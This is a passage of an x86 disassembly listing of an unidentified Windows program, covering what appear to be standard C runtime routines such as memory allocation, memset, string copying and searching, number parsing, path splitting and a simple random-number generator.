sub_41B202+16j ; sub_41B202+13Bj ... pop edi pop esi pop ebx leave retn sub_41B202 endp ; =============== S U B R O U T I N E ======================================= sub_41B4A2 proc near ; CODE XREF: sub_41B4C2+Ap arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch call sub_41F49D test eax, eax jnz short loc_41B4AC retn ; --------------------------------------------------------------------------- loc_41B4AC: ; CODE XREF: sub_41B4A2+7j push eax push [esp+4+arg_8] push [esp+8+arg_4] push [esp+0Ch+arg_0] call sub_41F32D add esp, 10h retn sub_41B4A2 endp ; =============== S U B R O U T I N E ======================================= sub_41B4C2 proc near ; CODE XREF: sub_4010AB+18p ; sub_401ACD+58AEp ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 push 40h push [esp+4+arg_4] push [esp+8+arg_0] call sub_41B4A2 add esp, 0Ch retn sub_41B4C2 endp ; =============== S U B R O U T I N E ======================================= sub_41B4D5 proc near ; CODE XREF: sub_4010AB+6p ; sub_40AB31+63p ... arg_0 = dword ptr 4 push dword_4DB2FC push [esp+4+arg_0] call sub_41B4E7 pop ecx pop ecx retn sub_41B4D5 endp ; =============== S U B R O U T I N E ======================================= sub_41B4E7 proc near ; CODE XREF: sub_41B4D5+Ap ; sub_41CFC5+6p arg_0 = dword ptr 4 arg_4 = dword ptr 8 cmp [esp+arg_0], 0FFFFFFE0h ja short loc_41B510 loc_41B4EE: ; CODE XREF: sub_41B4E7+27j push [esp+arg_0] call sub_41B513 test eax, eax pop ecx jnz short locret_41B512 cmp [esp+arg_4], eax jz short locret_41B512 push [esp+arg_0] call sub_41F312 test eax, eax pop ecx jnz short loc_41B4EE loc_41B510: ; CODE XREF: sub_41B4E7+5j xor eax, eax locret_41B512: ; CODE XREF: sub_41B4E7+13j ; sub_41B4E7+19j retn sub_41B4E7 endp ; =============== S U B R O U T I N E ======================================= sub_41B513 proc near ; CODE XREF: sub_41B4E7+Bp arg_0 = dword ptr 4 mov eax, dword_4DC908 push esi mov esi, [esp+4+arg_0] cmp eax, 3 jnz short loc_41B537 cmp esi, dword_4DC900 ja short loc_41B569 push esi call sub_41E1CB test eax, eax pop ecx jz short loc_41B569 pop esi retn ; --------------------------------------------------------------------------- loc_41B537: ; CODE XREF: sub_41B513+Dj cmp eax, 2 jnz short loc_41B569 mov eax, [esp+4+arg_0] test eax, eax jz short loc_41B54C lea esi, [eax+0Fh] and esi, 0FFFFFFF0h jmp short loc_41B54F ; --------------------------------------------------------------------------- loc_41B54C: ; CODE XREF: sub_41B513+2Fj push 10h pop esi loc_41B54F: ; CODE XREF: sub_41B513+37j cmp esi, dword_43C2F4 ja short loc_41B576 mov eax, esi shr eax, 4 push eax call sub_41EC6E test eax, eax pop ecx jnz short loc_41B585 jmp short loc_41B576 ; --------------------------------------------------------------------------- loc_41B569: ; CODE XREF: sub_41B513+15j ; sub_41B513+20j ... test esi, esi jnz short loc_41B570 push 1 pop esi loc_41B570: ; CODE XREF: sub_41B513+58j add esi, 0Fh and esi, 0FFFFFFF0h loc_41B576: ; CODE XREF: sub_41B513+42j ; sub_41B513+54j push esi push 0 push dword_4DC904 call near ptr 27C0000h nop loc_41B585: ; CODE XREF: sub_41B513+52j pop esi retn sub_41B513 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_41B590 proc near ; CODE XREF: sub_40111D+3Cp ; sub_40111D+4Ap ... arg_0 = dword ptr 4 arg_4 = byte ptr 8 arg_8 = dword ptr 0Ch mov edx, [esp+arg_8] mov ecx, [esp+arg_0] test edx, edx jz short loc_41B5E3 xor eax, eax mov al, [esp+arg_4] push edi mov edi, ecx cmp edx, 4 jb short loc_41B5D7 neg ecx and ecx, 3 jz short loc_41B5B9 sub edx, ecx loc_41B5B3: ; CODE XREF: sub_41B590+27j mov [edi], al inc edi dec ecx jnz short loc_41B5B3 loc_41B5B9: ; CODE XREF: sub_41B590+1Fj mov ecx, eax shl eax, 8 add eax, ecx mov ecx, eax shl eax, 10h add eax, ecx mov ecx, edx and edx, 3 shr ecx, 2 jz short loc_41B5D7 rep stosd test edx, edx jz short loc_41B5DD loc_41B5D7: ; CODE XREF: sub_41B590+18j ; sub_41B590+3Fj ... mov [edi], al inc edi dec edx jnz short loc_41B5D7 loc_41B5DD: ; CODE XREF: sub_41B590+45j mov eax, [esp+4+arg_0] pop edi retn ; --------------------------------------------------------------------------- loc_41B5E3: ; CODE XREF: sub_41B590+Aj mov eax, [esp+arg_0] retn sub_41B590 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_41B5F0 proc near ; CODE XREF: ___:004016C0p ; ___:004016DCp ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch mov ecx, [esp+arg_8] push edi test ecx, ecx jz short loc_41B673 push esi push ebx mov ebx, ecx mov esi, [esp+0Ch+arg_4] test esi, 3 mov edi, [esp+0Ch+arg_0] jnz short loc_41B614 shr ecx, 2 jnz short loc_41B681 jmp short loc_41B635 ; --------------------------------------------------------------------------- loc_41B614: ; CODE XREF: sub_41B5F0+1Bj ; sub_41B5F0+37j mov al, [esi] inc esi mov [edi], al inc edi dec ecx jz short loc_41B642 test al, al jz short loc_41B64A test esi, 3 jnz short loc_41B614 mov ebx, ecx shr ecx, 2 jnz short loc_41B681 loc_41B630: ; CODE XREF: sub_41B5F0+8Fj and ebx, 3 jz short loc_41B642 loc_41B635: ; CODE XREF: sub_41B5F0+22j ; sub_41B5F0+50j mov al, [esi] inc esi mov [edi], al inc edi test al, al jz short loc_41B66E dec ebx jnz short loc_41B635 loc_41B642: ; CODE XREF: sub_41B5F0+2Bj ; sub_41B5F0+43j mov eax, [esp+0Ch+arg_0] pop ebx pop esi pop edi retn ; --------------------------------------------------------------------------- loc_41B64A: ; CODE XREF: sub_41B5F0+2Fj test edi, 3 jz short loc_41B664 loc_41B652: ; CODE XREF: sub_41B5F0+72j mov [edi], al inc edi dec ecx jz loc_41B6E6 test edi, 3 jnz short loc_41B652 loc_41B664: ; CODE XREF: sub_41B5F0+60j mov ebx, ecx shr ecx, 2 jnz short loc_41B6D7 loc_41B66B: ; CODE XREF: sub_41B5F0+7Fj ; sub_41B5F0+F4j mov [edi], al inc edi loc_41B66E: ; CODE XREF: sub_41B5F0+4Dj dec ebx jnz short loc_41B66B pop ebx pop esi loc_41B673: ; CODE XREF: sub_41B5F0+7j mov eax, [esp+4+arg_0] pop edi retn ; --------------------------------------------------------------------------- loc_41B679: ; CODE XREF: sub_41B5F0+A9j ; sub_41B5F0+C1j mov [edi], edx add edi, 4 dec ecx jz short loc_41B630 loc_41B681: ; CODE XREF: sub_41B5F0+20j ; sub_41B5F0+3Ej mov edx, 7EFEFEFFh mov eax, [esi] add edx, eax xor eax, 0FFFFFFFFh xor eax, edx mov edx, [esi] add esi, 4 test eax, 81010100h jz short loc_41B679 test dl, dl jz short loc_41B6CB test dh, dh jz short loc_41B6C1 test edx, 0FF0000h jz short loc_41B6B7 test edx, 0FF000000h jnz short loc_41B679 mov [edi], edx jmp short loc_41B6CF ; --------------------------------------------------------------------------- loc_41B6B7: ; CODE XREF: sub_41B5F0+B9j and edx, 0FFFFh mov [edi], edx jmp short loc_41B6CF ; --------------------------------------------------------------------------- loc_41B6C1: ; CODE XREF: sub_41B5F0+B1j and edx, 0FFh mov [edi], edx jmp short loc_41B6CF ; --------------------------------------------------------------------------- loc_41B6CB: ; CODE XREF: sub_41B5F0+ADj xor edx, edx mov [edi], edx loc_41B6CF: ; CODE XREF: sub_41B5F0+C5j ; sub_41B5F0+CFj ... add edi, 4 xor eax, eax dec ecx jz short loc_41B6E1 loc_41B6D7: ; CODE XREF: sub_41B5F0+79j xor eax, eax loc_41B6D9: ; CODE XREF: sub_41B5F0+EFj mov [edi], eax add edi, 4 dec ecx jnz short loc_41B6D9 loc_41B6E1: ; CODE XREF: sub_41B5F0+E5j and ebx, 3 jnz short loc_41B66B loc_41B6E6: ; CODE XREF: sub_41B5F0+66j mov eax, [esp+0Ch+arg_0] pop ebx pop esi pop edi retn sub_41B5F0 endp ; =============== S U B R O U T I N E ======================================= sub_41B6EE proc near ; CODE XREF: sub_41B779+4p ; sub_4247EC+1A2p ... arg_0 = dword ptr 4 push ebx push ebp push esi push edi mov edi, [esp+10h+arg_0] loc_41B6F6: ; CODE XREF: sub_41B6EE+34j cmp dword_43C504, 1 jle short loc_41B70E movzx eax, byte ptr [edi] push 8 push eax call sub_41F515 pop ecx pop ecx jmp short loc_41B71D ; --------------------------------------------------------------------------- loc_41B70E: ; CODE XREF: sub_41B6EE+Fj movzx eax, byte ptr [edi] mov ecx, off_43C2F8 mov al, [ecx+eax*2] and eax, 8 loc_41B71D: ; CODE XREF: sub_41B6EE+1Ej test eax, eax jz short loc_41B724 inc edi jmp short loc_41B6F6 ; --------------------------------------------------------------------------- loc_41B724: ; CODE XREF: sub_41B6EE+31j movzx esi, byte ptr [edi] inc edi cmp esi, 2Dh mov ebp, esi jz short loc_41B734 cmp esi, 2Bh jnz short loc_41B738 loc_41B734: ; CODE XREF: sub_41B6EE+3Fj movzx esi, byte ptr [edi] inc edi loc_41B738: ; CODE XREF: sub_41B6EE+44j xor ebx, ebx loc_41B73A: ; CODE XREF: sub_41B6EE+7Bj cmp dword_43C504, 1 jle short loc_41B74F push 4 push esi call sub_41F515 pop ecx pop ecx jmp short loc_41B75A ; --------------------------------------------------------------------------- loc_41B74F: ; CODE XREF: sub_41B6EE+53j mov eax, off_43C2F8 mov al, [eax+esi*2] and eax, 4 loc_41B75A: ; CODE XREF: sub_41B6EE+5Fj test eax, eax jz short loc_41B76B lea eax, [ebx+ebx*4] lea ebx, [esi+eax*2-30h] movzx esi, byte ptr [edi] inc edi jmp short loc_41B73A ; --------------------------------------------------------------------------- loc_41B76B: ; CODE XREF: sub_41B6EE+6Ej cmp ebp, 2Dh mov eax, ebx jnz short loc_41B774 neg eax loc_41B774: ; CODE XREF: sub_41B6EE+82j pop edi pop esi pop ebp pop ebx retn sub_41B6EE endp ; =============== S U B R O U T I N E ======================================= sub_41B779 proc near ; CODE XREF: ___:00401527p ; sub_401ACD+733p ... arg_0 = dword ptr 4 push [esp+arg_0] call sub_41B6EE pop ecx retn sub_41B779 endp ; --------------------------------------------------------------------------- mov eax, off_43A29C test eax, eax jz short loc_41B78F call eax ; sub_41C748 loc_41B78F: ; CODE XREF: ___:0041B78Bj push offset dword_42902C push offset dword_429018 call sub_41B86C push offset dword_429014 push offset dword_429000 call sub_41B86C add esp, 10h retn ; --------------------------------------------------------------------------- push 0 push 0 push dword ptr [esp+0Ch] call sub_41B7D3 add esp, 0Ch retn ; =============== S U B R O U T I N E ======================================= sub_41B7C2 proc near ; CODE XREF: sub_41DA29+1Cp ; sub_42255C+2276p ... arg_0 = dword ptr 4 push 0 push 1 push [esp+8+arg_0] call sub_41B7D3 add esp, 0Ch retn sub_41B7C2 endp ; =============== S U B R O U T I N E ======================================= sub_41B7D3 proc near ; CODE XREF: ___:0041B7B9p ; sub_41B7C2+8p arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch push edi push 1 pop edi cmp dword_4DB2C0, edi jnz short loc_41B7F0 push [esp+4+arg_0] nop call near ptr 2720612h push eax nop call near ptr 2710D21h loc_41B7F0: ; CODE XREF: sub_41B7D3+Aj cmp [esp+4+arg_4], 0 push ebx mov ebx, [esp+8+arg_8] mov dword_4DB2BC, edi mov byte_4DB2B8, bl jnz short loc_41B844 mov eax, dword_4DC91C test eax, eax jz short loc_41B833 mov ecx, dword_4DC918 push esi lea esi, [ecx-4] cmp esi, eax jb short loc_41B832 loc_41B81F: ; CODE XREF: sub_41B7D3+5Dj mov eax, [esi] test eax, eax jz short loc_41B827 call eax loc_41B827: ; CODE XREF: sub_41B7D3+50j sub esi, 4 cmp esi, dword_4DC91C jnb short loc_41B81F loc_41B832: ; CODE XREF: sub_41B7D3+4Aj pop esi loc_41B833: ; CODE XREF: sub_41B7D3+3Cj push offset dword_429038 push offset dword_429030 call sub_41B86C pop ecx pop ecx loc_41B844: ; CODE XREF: sub_41B7D3+33j push offset dword_429044 push offset dword_42903C call sub_41B86C pop ecx pop ecx test ebx, ebx pop ebx jnz short loc_41B86A push [esp+4+arg_0] mov dword_4DB2C0, edi call near ptr 77E75CB5h nop loc_41B86A: ; CODE XREF: sub_41B7D3+85j pop edi retn sub_41B7D3 endp ; =============== S U B R O U T I N E ======================================= sub_41B86C proc near ; CODE XREF: ___:0041B799p ; ___:0041B7A8p ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 push esi mov esi, [esp+4+arg_0] loc_41B871: ; CODE XREF: sub_41B86C+16j cmp esi, [esp+4+arg_4] jnb short loc_41B884 mov eax, [esi] test eax, eax jz short loc_41B87F call eax loc_41B87F: ; CODE XREF: sub_41B86C+Fj add esi, 4 jmp short loc_41B871 ; --------------------------------------------------------------------------- loc_41B884: ; CODE XREF: sub_41B86C+9j pop esi retn sub_41B86C endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41B886 proc near ; CODE XREF: ___:004013B0p ; ___:004014B6p ... var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = byte ptr 10h push ebp mov ebp, esp sub esp, 20h mov eax, [ebp+arg_0] push esi mov [ebp+var_18], eax mov [ebp+var_20], eax lea eax, [ebp+arg_8] mov [ebp+var_14], 42h push eax lea eax, [ebp+var_20] push [ebp+arg_4] mov [ebp+var_1C], 7FFFFFFFh push eax call sub_41F69F add esp, 0Ch dec [ebp+var_1C] mov esi, eax js short loc_41B8C6 mov eax, [ebp+var_20] and byte ptr [eax], 0 jmp short loc_41B8D3 ; --------------------------------------------------------------------------- loc_41B8C6: ; CODE XREF: sub_41B886+36j lea eax, [ebp+var_20] push eax push 0 call sub_41F58A pop ecx pop ecx loc_41B8D3: ; CODE XREF: sub_41B886+3Ej mov eax, esi pop esi leave retn sub_41B886 endp ; =============== S U B R O U T I N E ======================================= sub_41B8D8 proc near ; CODE XREF: ___:00401266p ; sub_401ACD+31A2p ... arg_0 = dword ptr 4 mov eax, [esp+arg_0] mov dword_43A280, eax retn sub_41B8D8 endp ; =============== S U B R O U T I N E ======================================= sub_41B8E2 proc near ; CODE XREF: ___:loc_401379p ; ___:loc_4016A7p ... mov eax, dword_43A280 imul eax, 343FDh add eax, 269EC3h mov dword_43A280, eax sar eax, 10h and eax, 7FFFh retn sub_41B8E2 endp ; =============== S U B R O U T I N E ======================================= sub_41B900 proc near ; CODE XREF: ___:0040134Ep ; sub_401ACD+8Cp ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov ecx, [esp+arg_4] push edi push ebx push esi mov dl, [ecx] mov edi, [esp+0Ch+arg_0] test dl, dl jz short loc_41B97A mov dh, [ecx+1] test dh, dh jz short loc_41B967 loc_41B918: ; CODE XREF: sub_41B900+52j ; sub_41B900+65j mov esi, edi mov ecx, [esp+0Ch+arg_4] mov al, [edi] inc esi cmp al, dl jz short loc_41B93A test al, al jz short loc_41B934 loc_41B929: ; CODE XREF: sub_41B900+32j mov al, [esi] inc esi loc_41B92C: ; CODE XREF: sub_41B900+3Fj cmp al, dl jz short loc_41B93A test al, al jnz short loc_41B929 loc_41B934: ; CODE XREF: sub_41B900+27j pop esi pop ebx pop edi xor eax, eax retn ; --------------------------------------------------------------------------- loc_41B93A: ; CODE XREF: sub_41B900+23j ; sub_41B900+2Ej mov al, [esi] inc esi cmp al, dh jnz short loc_41B92C lea edi, [esi-1] loc_41B944: ; CODE XREF: sub_41B900+63j mov ah, [ecx+2] test ah, ah jz short loc_41B973 mov al, [esi] add esi, 2 cmp al, ah jnz short loc_41B918 mov al, [ecx+3] test al, al jz short loc_41B973 mov ah, [esi-1] add ecx, 2 cmp al, ah jz short loc_41B944 jmp short loc_41B918 ; --------------------------------------------------------------------------- loc_41B967: ; CODE XREF: sub_41B900+16j xor eax, eax pop esi pop ebx pop edi mov al, dl jmp loc_41BFB6 ; --------------------------------------------------------------------------- loc_41B973: ; CODE XREF: sub_41B900+49j ; sub_41B900+59j lea eax, [edi-1] pop esi pop ebx pop edi retn ; --------------------------------------------------------------------------- loc_41B97A: ; CODE XREF: sub_41B900+Fj mov eax, edi pop esi pop ebx pop edi retn sub_41B900 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41B980 proc near ; CODE XREF: ___:0040133Bp ; sub_401ACD+1C72p ... var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = byte ptr 14h push ebp mov ebp, esp sub esp, 20h mov eax, [ebp+arg_0] push esi mov [ebp+var_18], eax mov [ebp+var_20], eax mov eax, [ebp+arg_4] mov [ebp+var_14], 42h mov [ebp+var_1C], eax lea eax, [ebp+arg_C] push eax lea eax, [ebp+var_20] push [ebp+arg_8] push eax call sub_41F69F add esp, 0Ch dec [ebp+var_1C] mov esi, eax js short loc_41B9BF mov eax, [ebp+var_20] and byte ptr [eax], 0 jmp short loc_41B9CC ; --------------------------------------------------------------------------- loc_41B9BF: ; CODE XREF: sub_41B980+35j lea eax, [ebp+var_20] push eax push 0 call sub_41F58A pop ecx pop ecx loc_41B9CC: ; CODE XREF: sub_41B980+3Dj mov eax, esi pop esi leave retn sub_41B980 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41B9D1 proc near ; CODE XREF: ___:00401318p ; sub_401ACD+21D1p ... var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h push ebp mov ebp, esp push ecx and [ebp+var_4], 0 push ebx mov ebx, [ebp+arg_0] push esi push edi push ebx call sub_41AFE0 cmp eax, 1 pop ecx jb short loc_41BA0C cmp byte ptr [ebx+1], 3Ah jnz short loc_41BA0C mov esi, [ebp+arg_4] test esi, esi jz short loc_41BA08 push 2 push ebx push esi call sub_420289 add esp, 0Ch and byte ptr [esi+2], 0 loc_41BA08: ; CODE XREF: sub_41B9D1+25j inc ebx inc ebx jmp short loc_41BA16 ; --------------------------------------------------------------------------- loc_41BA0C: ; CODE XREF: sub_41B9D1+18j ; sub_41B9D1+1Ej mov eax, [ebp+arg_4] test eax, eax jz short loc_41BA16 and byte ptr [eax], 0 loc_41BA16: ; CODE XREF: sub_41B9D1+39j ; sub_41B9D1+40j and [ebp+arg_4], 0 cmp byte ptr [ebx], 0 mov eax, ebx mov esi, 0FFh mov [ebp+arg_0], eax jz short loc_41BA8E loc_41BA29: ; CODE XREF: sub_41B9D1+87j mov cl, [eax] movzx edx, cl test byte_4DC7E1[edx], 4 jz short loc_41BA3A inc eax jmp short loc_41BA54 ; --------------------------------------------------------------------------- loc_41BA3A: ; CODE XREF: sub_41B9D1+64j cmp cl, 2Fh jz short loc_41BA4E cmp cl, 5Ch jz short loc_41BA4E cmp cl, 2Eh jnz short loc_41BA54 mov [ebp+var_4], eax jmp short loc_41BA54 ; --------------------------------------------------------------------------- loc_41BA4E: ; CODE XREF: sub_41B9D1+6Cj ; sub_41B9D1+71j lea ecx, [eax+1] mov [ebp+arg_4], ecx loc_41BA54: ; CODE XREF: sub_41B9D1+67j ; sub_41B9D1+76j ... inc eax cmp byte ptr [eax], 0 jnz short loc_41BA29 mov edi, [ebp+arg_4] mov [ebp+arg_0], eax test edi, edi jz short loc_41BA8E cmp [ebp+arg_8], 0 jz short loc_41BA89 sub edi, ebx cmp edi, esi jb short loc_41BA72 mov edi, esi loc_41BA72: ; CODE XREF: sub_41B9D1+9Dj push edi push ebx push [ebp+arg_8] call sub_420289 mov eax, [ebp+arg_8] add esp, 0Ch and byte ptr [edi+eax], 0 mov eax, [ebp+arg_0] loc_41BA89: ; CODE XREF: sub_41B9D1+97j mov ebx, [ebp+arg_4] jmp short loc_41BA98 ; --------------------------------------------------------------------------- loc_41BA8E: ; CODE XREF: sub_41B9D1+56j ; sub_41B9D1+91j mov ecx, [ebp+arg_8] test ecx, ecx jz short loc_41BA98 and byte ptr [ecx], 0 loc_41BA98: ; CODE XREF: sub_41B9D1+BBj ; sub_41B9D1+C2j mov edi, [ebp+var_4] test edi, edi jz short loc_41BAEB cmp edi, ebx jb short loc_41BAEB cmp [ebp+arg_C], 0 jz short loc_41BAC8 sub edi, ebx cmp edi, esi jb short loc_41BAB1 mov edi, esi loc_41BAB1: ; CODE XREF: sub_41B9D1+DCj push edi push ebx push [ebp+arg_C] call sub_420289 mov eax, [ebp+arg_C] add esp, 0Ch and byte ptr [edi+eax], 0 mov eax, [ebp+arg_0] loc_41BAC8: ; CODE XREF: sub_41B9D1+D6j mov edi, [ebp+arg_10] test edi, edi jz short loc_41BB13 sub eax, [ebp+var_4] cmp eax, esi jnb short loc_41BAD8 mov esi, eax loc_41BAD8: ; CODE XREF: sub_41B9D1+103j push esi push [ebp+var_4] push edi call sub_420289 add esp, 0Ch and byte ptr [esi+edi], 0 jmp short loc_41BB13 ; --------------------------------------------------------------------------- loc_41BAEB: ; CODE XREF: sub_41B9D1+CCj ; sub_41B9D1+D0j mov edi, [ebp+arg_C] test edi, edi jz short loc_41BB09 sub eax, ebx cmp eax, esi jnb short loc_41BAFA mov esi, eax loc_41BAFA: ; CODE XREF: sub_41B9D1+125j push esi push ebx push edi call sub_420289 add esp, 0Ch and byte ptr [esi+edi], 0 loc_41BB09: ; CODE XREF: sub_41B9D1+11Fj mov eax, [ebp+arg_10] test eax, eax jz short loc_41BB13 and byte ptr [eax], 0 loc_41BB13: ; CODE XREF: sub_41B9D1+FCj ; sub_41B9D1+118j ... pop edi pop esi pop ebx leave retn sub_41B9D1 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_41BB20 proc near ; CODE XREF: sub_401955+8p ; sub_401ACD+8p ... arg_0 = byte ptr 4 push ecx cmp eax, 1000h lea ecx, [esp+4+arg_0] jb short loc_41BB40 loc_41BB2C: ; CODE XREF: sub_41BB20+1Ej sub ecx, 1000h sub eax, 1000h test [ecx], eax cmp eax, 1000h jnb short loc_41BB2C loc_41BB40: ; CODE XREF: sub_41BB20+Aj sub ecx, eax mov eax, esp test [ecx], eax mov esp, ecx mov ecx, [eax] mov eax, [eax+4] push eax retn sub_41BB20 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41BB4F proc near ; CODE XREF: sub_401ACD+757Ep ; sub_401ACD+75ADp ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp cmp [ebp+arg_4], 0 push ebx mov ebx, [ebp+arg_0] push edi mov edi, ebx jg short loc_41BB63 xor eax, eax jmp short loc_41BB99 ; --------------------------------------------------------------------------- loc_41BB63: ; CODE XREF: sub_41BB4F+Ej dec [ebp+arg_4] push esi jz short loc_41BB93 mov esi, [ebp+arg_8] loc_41BB6C: ; CODE XREF: sub_41BB4F+42j dec dword ptr [esi+4] js short loc_41BB7B mov ecx, [esi] movzx eax, byte ptr [ecx] inc ecx mov [esi], ecx jmp short loc_41BB82 ; --------------------------------------------------------------------------- loc_41BB7B: ; CODE XREF: sub_41BB4F+20j push esi call sub_41F043 pop ecx loc_41BB82: ; CODE XREF: sub_41BB4F+2Aj cmp eax, 0FFFFFFFFh jz short loc_41BB9D mov [edi], al inc edi cmp al, 0Ah jz short loc_41BB93 dec [ebp+arg_4] jnz short loc_41BB6C loc_41BB93: ; CODE XREF: sub_41BB4F+18j ; sub_41BB4F+3Dj ... and byte ptr [edi], 0 loc_41BB96: ; CODE XREF: sub_41BB4F+55j mov eax, ebx pop esi loc_41BB99: ; CODE XREF: sub_41BB4F+12j pop edi pop ebx pop ebp retn ; --------------------------------------------------------------------------- loc_41BB9D: ; CODE XREF: sub_41BB4F+36j cmp edi, [ebp+arg_0] jnz short loc_41BB93 xor ebx, ebx jmp short loc_41BB96 sub_41BB4F endp ; =============== S U B R O U T I N E ======================================= sub_41BBA6 proc near ; CODE XREF: ___:0041DDA5p arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch push 0 push [esp+4+arg_8] push [esp+8+arg_4] push [esp+0Ch+arg_0] call sub_41BBBD add esp, 10h retn sub_41BBA6 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41BBBD proc near ; CODE XREF: sub_41BBA6+Ep ; sub_41BDC5+Ep var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 0Ch push ebx and [ebp+var_8], 0 push esi push edi mov edi, [ebp+arg_0] mov bl, [edi] lea esi, [edi+1] mov [ebp+var_4], esi loc_41BBD5: ; CODE XREF: sub_41BBBD+46j cmp dword_43C504, 1 jle short loc_41BBED movzx eax, bl push 8 push eax call sub_41F515 pop ecx pop ecx jmp short loc_41BBFC ; --------------------------------------------------------------------------- loc_41BBED: ; CODE XREF: sub_41BBBD+1Fj mov ecx, off_43C2F8 movzx eax, bl mov al, [ecx+eax*2] and eax, 8 loc_41BBFC: ; CODE XREF: sub_41BBBD+2Ej test eax, eax jz short loc_41BC05 mov bl, [esi] inc esi jmp short loc_41BBD5 ; --------------------------------------------------------------------------- loc_41BC05: ; CODE XREF: sub_41BBBD+41j cmp bl, 2Dh mov [ebp+var_4], esi jnz short loc_41BC13 or [ebp+arg_C], 2 jmp short loc_41BC18 ; --------------------------------------------------------------------------- loc_41BC13: ; CODE XREF: sub_41BBBD+4Ej cmp bl, 2Bh jnz short loc_41BC1E loc_41BC18: ; CODE XREF: sub_41BBBD+54j mov bl, [esi] inc esi mov [ebp+var_4], esi loc_41BC1E: ; CODE XREF: sub_41BBBD+59j mov eax, [ebp+arg_8] test eax, eax jl loc_41BDB5 cmp eax, 1 jz loc_41BDB5 cmp eax, 24h jg loc_41BDB5 push 10h test eax, eax pop ecx jnz short loc_41BC66 cmp bl, 30h jz short loc_41BC50 mov [ebp+arg_8], 0Ah jmp short loc_41BC82 ; --------------------------------------------------------------------------- loc_41BC50: ; CODE XREF: sub_41BBBD+88j mov al, [esi] cmp al, 78h jz short loc_41BC63 cmp al, 58h jz short loc_41BC63 mov [ebp+arg_8], 8 jmp short loc_41BC82 ; --------------------------------------------------------------------------- loc_41BC63: ; CODE XREF: sub_41BBBD+97j ; sub_41BBBD+9Bj mov [ebp+arg_8], ecx loc_41BC66: ; CODE XREF: sub_41BBBD+83j cmp [ebp+arg_8], ecx jnz short loc_41BC82 cmp bl, 30h jnz short loc_41BC82 mov al, [esi] cmp al, 78h jz short loc_41BC7A cmp al, 58h jnz short loc_41BC82 loc_41BC7A: ; CODE XREF: sub_41BBBD+B7j mov bl, [esi+1] inc esi inc esi mov [ebp+var_4], esi loc_41BC82: ; CODE XREF: sub_41BBBD+91j ; sub_41BBBD+A4j ... or eax, 0FFFFFFFFh xor edx, edx div [ebp+arg_8] mov edi, 103h mov [ebp+var_C], eax loc_41BC92: ; CODE XREF: sub_41BBBD+16Cj cmp dword_43C504, 1 movzx esi, bl jle short loc_41BCAA push 4 push esi call sub_41F515 pop ecx pop ecx jmp short loc_41BCB5 ; --------------------------------------------------------------------------- loc_41BCAA: ; CODE XREF: sub_41BBBD+DFj mov eax, off_43C2F8 mov al, [eax+esi*2] and eax, 4 loc_41BCB5: ; CODE XREF: sub_41BBBD+EBj test eax, eax jz short loc_41BCC1 movsx ecx, bl sub ecx, 30h jmp short loc_41BCF3 ; --------------------------------------------------------------------------- loc_41BCC1: ; CODE XREF: sub_41BBBD+FAj cmp dword_43C504, 1 jle short loc_41BCD5 push edi push esi call sub_41F515 pop ecx pop ecx jmp short loc_41BCE0 ; --------------------------------------------------------------------------- loc_41BCD5: ; CODE XREF: sub_41BBBD+10Bj mov eax, off_43C2F8 mov ax, [eax+esi*2] and eax, edi loc_41BCE0: ; CODE XREF: sub_41BBBD+116j test eax, eax jz short loc_41BD2E movsx eax, bl push eax call sub_420313 pop ecx mov ecx, eax sub ecx, 37h loc_41BCF3: ; CODE XREF: sub_41BBBD+102j cmp ecx, [ebp+arg_8] jnb short loc_41BD2E mov esi, [ebp+var_8] or [ebp+arg_C], 8 cmp esi, [ebp+var_C] jb short loc_41BD18 jnz short loc_41BD12 or eax, 0FFFFFFFFh xor edx, edx div [ebp+arg_8] cmp ecx, edx jbe short loc_41BD18 loc_41BD12: ; CODE XREF: sub_41BBBD+147j or [ebp+arg_C], 4 jmp short loc_41BD21 ; --------------------------------------------------------------------------- loc_41BD18: ; CODE XREF: sub_41BBBD+145j ; sub_41BBBD+153j imul esi, [ebp+arg_8] add esi, ecx mov [ebp+var_8], esi loc_41BD21: ; CODE XREF: sub_41BBBD+159j mov eax, [ebp+var_4] inc [ebp+var_4] mov bl, [eax] jmp loc_41BC92 ; --------------------------------------------------------------------------- loc_41BD2E: ; CODE XREF: sub_41BBBD+125j ; sub_41BBBD+139j mov ecx, [ebp+arg_C] dec [ebp+var_4] mov edx, [ebp+arg_4] test cl, 8 jnz short loc_41BD4C test edx, edx jz short loc_41BD46 mov eax, [ebp+arg_0] mov [ebp+var_4], eax loc_41BD46: ; CODE XREF: sub_41BBBD+181j and [ebp+var_8], 0 jmp short loc_41BD99 ; --------------------------------------------------------------------------- loc_41BD4C: ; CODE XREF: sub_41BBBD+17Dj test cl, 4 mov eax, 7FFFFFFFh jnz short loc_41BD72 test cl, 